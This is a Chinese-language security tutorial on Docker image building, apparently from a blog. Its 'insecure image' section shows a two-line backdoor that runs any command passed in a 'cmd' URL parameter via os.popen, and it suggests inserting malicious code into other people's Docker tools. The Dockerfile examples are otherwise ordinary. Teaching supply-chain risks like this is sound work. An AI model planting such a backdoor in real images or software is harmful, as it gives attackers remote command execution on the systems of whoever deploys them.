云上攻防-云原生篇&Docker安全&Dockfile文件构建制作&不安全的镜像&不安全第三方组件

知识点:

1、云原生-Docker容器-构建制作

2、云原生-Docker容器-不安全镜像

3、云原生-Docker容器-第三方组件

演示案例-云上攻防-Docker容器-构建制作&不安全镜像&第三方组件

1、构建制作镜像

bash 复制代码
Dockfile文件(这种方式用的比较多):
FROM ubuntu:22.04
 
#安装必要的软件包
RUN apt-get update && \
apt-get install -y python3 python3-pip python3-venv && \
rm -rf /var/lib/apt/lists/*
 
# 创建虚拟环境
RUN python3 -m venv /opt/venv
 
# 使用虚拟环境的pip安装依赖
COPY requirements.txt .
RUN /opt/venv/bin/pip install --no-cache-dir -r requirements.txt
 
# 复制应用代码
COPY app.py /opt/app.py
 
# 设置环境变量
ENV FLASK_APP=/opt/app.py
ENV FLASK_ENV=production
 
EXPOSE 500
 
# 设置虚拟环境的Python作为入口
ENTRYPOINT ["/opt/venv/bin/python", "-m", "flask", "run", "--host=0.0.0.0"]
bash 复制代码
docker build . -t mywebsample   //构建镜像,命名为 mywebsample
docker run -p 80:5000 mywebsample   //基于 mywebsample 镜像启动容器,宿主机80 -> 容器5000

2、不安全的镜像

在上述Docker镜像中,加入隐藏后门调用

bash 复制代码
cmd = request.args.get("cmd")
os.popen(cmd).read()

也可以二开别人已经写好的工具,在别人写好的工具上插入恶意代码(前提:工具支持docker安装并使用dockerfile来当作配置文件)

3、不安全第三方组件

bash 复制代码
# 使用官方  OpenJDK 8 镜像作为基础
FROM openjdk:8-jre-alpine
 
# 设置维护者信息
LABEL maintainer="your-email@example.com"
LABEL description="JDK 8 Runtime Environment for Java Applications"
LABEL version="1.0"
 
# 设置工作目录
WORKDIR /app
 
# 创建非root用户运行应用(增强安全性)- Alpine Linux 方式
RUN addgroup -g 1000 appgroup && \
adduser -u 1000 -G appgroup -D appuser
 
# 将jar文件复制到容器中
COPY SpringBootThymeleaf49-0.0.1-SNAPSHOT.jar app.jar
 
# 设置文件权限
RUN chown appuser:appgroup app.jar
 
# 设置环境变量
ENV JAVA_OPTS=""
ENV APP_JAR="app.jar"
 
# 切换用户
USER appuser
 
# 暴露端口(根据你的应用调整)
EXPOSE 8080
 
# 启动应用
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS -jar $APP_JAR"]
bash 复制代码
docker build . -t myjar
docker run -p 8080:8080 myjar
相关推荐
马立杰1 小时前
Docker Build 编译补丁版 PHP7.4 FPM 容器镜像教程(CVE-2026-109618 CVE-2026-109619)
运维·docker·容器·php
tedcloud1231 小时前
Docker Compose 部署 Memos:从安装到备份恢复
linux·开发语言·jvm·后端·docker·容器·rust
无人生还别怕2 小时前
如何搭建k8s服务(docker部署)
linux·运维·docker·云原生·容器·kubernetes·openanolisos
*星星之火*3 小时前
【无标题】
docker·gcp·gke
姜鱼问生3 小时前
报数据库连不上?Docker Compose 启动顺序假象:depends_on 不是万能的!
数据库·docker·容器
Vex2une3 小时前
WSL2 Docker开发环境:2026年容器化编程性能调优指南
docker·开发环境·wsl2·容器化开发·virtiofs·dev drive·gpu直通
我滴老baby3 小时前
自建服务20个,书签300条?我用一个Docker容器做了个“服务启动台”,手机也能打开
运维·docker·容器
lwx9148523 小时前
Docker容器模拟主机
运维·docker·容器
java_logo3 小时前
Docker 部署 MaxKB:轻松搭建企业级智能体平台
运维·docker·容器·知识库·智能体·maxkb·轩辕镜像
TTATTC17 小时前
单体应用如何支撑千所机构独立测评?拆解 sg-exam 行级多租户隔离与动态组卷内核
docker·开源